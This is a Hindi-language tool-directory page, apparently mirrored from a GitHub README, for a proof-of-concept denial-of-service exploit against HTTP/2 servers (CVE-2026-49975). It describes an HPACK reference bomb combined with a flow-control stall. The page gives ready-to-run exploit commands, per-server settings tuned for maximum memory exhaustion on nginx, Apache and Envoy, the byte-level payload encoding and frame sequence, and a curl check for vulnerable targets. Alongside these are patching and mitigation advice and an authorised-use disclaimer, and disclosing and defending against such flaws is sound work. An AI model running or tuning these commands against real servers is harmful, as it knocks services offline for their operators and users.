Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-49975-POC — HTTP/2 Bomb PoC — CVE-2026-49975 (HPACK indexed reference bomb + flow-control stall) | Kitploit
उपकरण/GitHubGitHub/mrx-arafat/cve-2026-49975-poc
भेद्यता विश्लेषणशोषणवेब सुरक्षानेटवर्क सुरक्षापेनिट्रेशन टेस्टिंग
GitHubmrx-arafat/cve-2026-49975-poc

CVE-2026-49975-POC

HTTP/2 Bomb PoC — CVE-2026-49975 (HPACK indexed reference bomb + flow-control stall)

रिपॉजिटरी देखें
29823 महीने पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-49975 — HTTP/2 Bomb PoC

CVE Severity Python

CVE-2026-49975 का प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो HTTP/2 सर्वर इम्प्लीमेंटेशन में एक रिमोट डिनायल-ऑफ-सर्विस कमजोरी है। क्वांग लुओंग (कैलिफ़ सिक्योरिटी रिसर्च) द्वारा खोजा गया, 2 जून 2026 को प्रकाशित किया गया।

केवल अधिकृत सुरक्षा परीक्षण के लिए। उन बुनियादी ढाँचों के खिलाफ उपयोग न करें जिनके आप मालिक नहीं हैं या जिनके परीक्षण की लिखित अनुमति नहीं है।


यह कैसे काम करता है

हमला दो HTTP/2 प्रोटोकॉल तंत्रों को जोड़ता है:

1. HPACK इंडेक्स्ड रेफरेंस बम

HPACK (RFC 7541) प्रेषकों को पहले देखे गए हेडर को इंडेक्स द्वारा संदर्भित करने देता है — आमतौर पर एक बाइट। एक्सप्लॉइट एक बार डायनामिक टेबल में लगभग खाली हेडर डालता है, फिर उसे हज़ारों बार संदर्भित करता है। प्रत्येक 1-बाइट वायर रेफरेंस सर्वर को प्रति एंट्री ~70 बाइट्स आंतरिक बुककीपिंग आवंटित करने के लिए मजबूर करता है। कोई बड़े मान शामिल नहीं होते, इसलिए "अधिकृत डिकोडेड हेडर आकार" की सीमाएँ कभी नहीं लागू होतीं।

2. HTTP/2 फ्लो-कंट्रोल विंडो स्टॉल

शून्य-बाइट प्राप्त विंडो का विज्ञापन करके, हमलावर सर्वर को अपना प्रतिक्रिया भेजने या कोई मेमोरी मुक्त करने से रोकता है। समय-समय पर 1-बाइट फ्रेम सर्वर के सेंड टाइमआउट को रीसेट करते हैं, जिससे आवंटन तब तक जारी रहता है जब तक कनेक्शन खुला है।

WINDOW_UPDATE

परिणाम: ~16 KB प्रति स्ट्रीम भेजा गया → ~1.15 MB सर्वर RAM प्रति स्ट्रीम आवंटित और बनाए रखा गया।


प्रभावित सर्वर

सर्वरएम्प्लिफिकेशनडेमो प्रभावस्थिति
Envoy 1.37.2~5,700:132 GB ~10s मेंप्रकाशन के समय कोई पैच नहीं
Apache httpd 2.4.67~4,000:132 GB ~18s मेंmod_http2 v2.0.41 में ठीक किया गया
nginx < 1.29.8~70:132 GB ~45s मेंnginx 1.29.8 में ठीक किया गया
Microsoft IIS (WS 2025)~68:164 GB ~45s मेंप्रकाशन के समय कोई पैच नहीं
Cloudflare Pingora~68:1—प्रकाशन के समय कोई पैच नहीं

उपयोग

कोई निर्भरता नहीं — केवल stdlib।

root@kitploit:~
# बुनियादी परीक्षण (एकल कनेक्शन)
python3 exploit-test.py target.com 443

# nginx-विशिष्ट बुककीपिंग बम (nginx लक्ष्यों के लिए अनुशंसित)
python3 exploit-test.py target.com 443 --mode nginx --threads 50 --streams 30 --headers 16374

# Apache/Envoy कुकी-क्रम्ब तकनीक
python3 exploit-test.py target.com 443 --mode classic --threads 20 --streams 30 --headers 5000

# HTTP/2 क्लियरटेक्स्ट (दुर्लभ — अधिकांश सर्वरों को h2 के लिए TLS की आवश्यकता होती है)
python3 exploit-test.py target.com 80 --no-ssl

तर्क

फ़्लैगडिफ़ॉल्टविवरण
target—होस्टनाम या IP
port443TCP पोर्ट
--threads1समानांतर कनेक्शन (प्रत्येक बंद होने पर पुनः कनेक्ट होता है)
--streams10प्रति कनेक्शन HTTP/2 स्ट्रीम
--headers5000प्रति स्ट्रीम HPACK इंडेक्स्ड रेफरेंस
--modenginxnginx (बुककीपिंग, 70:1) या classic (बड़ा मान, 4000:1)
--no-sslबंदTLS अक्षम करें (h2c)

RAM दबाव अनुमान

root@kitploit:~
कुल_स्ट्रीम = थ्रेड्स × स्ट्रीम
सर्वर_RAM_MB = कुल_स्ट्रीम × हेडर × एम्प्लिफिकेशन_बाइट्स / 1024²

# nginx उदाहरण: 50 × 30 × 16374 × 70 / 1024² = ~1,647 MB

लक्ष्य के अनुसार इष्टतम सेटिंग्स

लक्ष्यमोड--headersनोट्स
nginx < 1.29.8nginx16374डिफ़ॉल्ट http2_max_header_size 16k के भीतर रहता है
Apache httpdclassic5000कुकी क्रम्ब तकनीक
Envoyclassic32000उच्च एम्प्लिफिकेशन

जाँचें कि लक्ष्य असुरक्षित है या नहीं

root@kitploit:~
# HTTP/2 समर्थन और सर्वर संस्करण की पुष्टि करें
curl -sv --http2 https://target.com/ 2>&1 | grep -E "ALPN|HTTP/2|server:"

# असुरक्षित यदि:
# - ALPN: सर्वर ने h2 स्वीकार किया   (HTTP/2 सक्षम)
# - server: nginx/X.Y.Z        (जहाँ X.Y.Z < 1.29.8)

शमन उपाय

nginx — 1.29.8+ में अपग्रेड करें और जोड़ें:

root@kitploit:~
http2 max_headers 1000;

या HTTP/2 को पूरी तरह से अक्षम करें:

root@kitploit:~
# "http2" को listen निर्देश से हटाएँ
listen 443 ssl;

Apache httpd — mod_http2 को v2.0.41+ में अपग्रेड करें। अंतरिम: Protocols http/1.1

IIS / Envoy / Pingora — लिखने के समय कोई पैच उपलब्ध नहीं। HTTP/2 अक्षम करें या पैच किए गए प्रॉक्सी के साथ फ्रंट करें।

सामान्य (सभी सर्वर):

root@kitploit:~
# वर्कर मेमोरी को सीमित करके विस्फोट त्रिज्या को सीमित करें
ulimit -v 2097152   # 2 GB प्रति प्रक्रिया
# Docker: --memory="2g" --memory-swap="2g"

तकनीकी विवरण

HPACK एन्कोडिंग

root@kitploit:~
डायनामिक टेबल सीड (इंक्रीमेंटल इंडेक्सिंग, इंडेक्स 62 में जोड़ता है):
  0x40 | name_len | name | value_len | value
  = 0x40 0x06 "x-bomb" 0x00

एंट्री 62 का इंडेक्स्ड रेफरेंस (प्रत्येक 1 बाइट):
  0x80 | 62 = 0xbe

प्रति स्ट्रीम वायर पेलोड = 9 बाइट्स (सीड) + N बाइट्स (N रेफरेंस)
प्रति रेफरेंस सर्वर आवंटन ≈ sizeof(ngx_table_elt_t) ≈ 70 बाइट्स

HTTP/2 फ्रेम अनुक्रम

root@kitploit:~
क्लाइंट → सर्वर:
  PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n     (प्रस्तावना)
  SETTINGS [INITIAL_WINDOW_SIZE=0]      (स्टॉल सेटअप)
  SETTINGS ACK                          (सर्वर SETTINGS पढ़ने के बाद)
  HEADERS [स्ट्रीम 1]  ← बम पेलोड   (स्यूडो-हेडर + HPACK बम)
  HEADERS [स्ट्रीम 3]  ← बम पेलोड
  ...
  WINDOW_UPDATE(1) प्रति स्ट्रीम / 1s      (कीप-अलाइव स्टॉल)

फ़ाइलें

फ़ाइलविवरण
exploit-test.pyमुख्य PoC — मल्टी-स्ट्रीम, सतत पुनर्संयोजन, nginx + क्लासिक मोड
SECURITY-REPORT-MIST.mdmist.ac.bd के लिए अधिकृत मूल्यांकन रिपोर्ट
LICENSEMIT

संदर्भ

  • CVE-2026-49975
  • RFC 7541 §7.3 — HPACK मेमोरी खपत
  • RFC 9113 §8.2.3 — कुकी हेडर विभाजन
  • CVE-2016-6581 — मूल HPACK बम (कॉरी बेनफील्ड, 2016)
  • CVE-2025-53020 — Apache HPACK 4000:1 (गैल बार नाहुम, 2025)
टूल डाउनलोड करें